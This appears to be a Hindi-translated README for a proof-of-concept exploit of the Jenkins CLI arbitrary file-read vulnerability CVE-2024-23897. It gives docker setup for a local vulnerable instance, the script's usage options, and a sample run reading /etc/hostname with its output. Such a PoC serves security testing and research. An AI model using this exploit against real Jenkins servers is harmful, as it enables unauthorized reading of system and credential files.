
Jenkins CVE-2024-23897 के लिए PoC
CVE-2024-23897 के लिए एक प्रूफ-ऑफ-कॉन्सेप्ट (PoC), जो जेनकिंस के बिल्ट-इन कमांड लाइन इंटरफ़ेस (CLI) में एक मनमाना फ़ाइल पढ़ने की कमजोरी है। यह Overall/Read अनुमति वाले अप्रमाणित हमलावरों को जेनकिंस कंट्रोलर फ़ाइल सिस्टम पर मनमानी फ़ाइलें पढ़ने की अनुमति देता है।
प्रभावित संस्करण
docker compose का उपयोग करके एक स्थानीय कमजोर इंस्टेंस चालू करें:
cd docker
docker compose up -d
इंस्टेंस http://localhost:1234 पर उपलब्ध होगा
❯ python CVE-2024-23897.py --help
usage: CVE-2024-23897.py [-h] [--url URL] [--file FILE] [--method {1,2,3}]
Jenkins CVE-2024-23897 file-read PoC
options:
-h, --help show this help message and exit
--url URL URL for Jenkins instance (default: http://localhost:1234)
--file FILE File to read (default: /etc/hostname)
--method {1,2,3} The method to use [connect-node(1), who-am-i(2), or help(3)] (default: 1)
उदाहरण
❯ python CVE-2024-23897.py --url 'http://127.0.0.1:1234/' --file '/etc/hostname'
[i] Vulnerable to CVE-2024-23897 (Jenkins v2.441 <= 2.441)
[*] Target URL http://127.0.0.1:1234/cli?remoting=false
[*] Attempting to read /etc/hostname
[i] Download request done
[+] Found data, printing...
ERROR: No such agent "jenkins_vuln_instance" exists.
[i] Upload request done
[i] All threads completed
स्क्रिप्ट को समवर्ती और कनेक्शन टाइमआउट के कारण बड़ी फ़ाइलें पढ़ने में समस्या हो सकती है। अधिक तकनीकी विवरण और कमजोरी के वॉकथ्रू के लिए मेरे ब्लॉग पोस्ट पर एक नज़र डालें।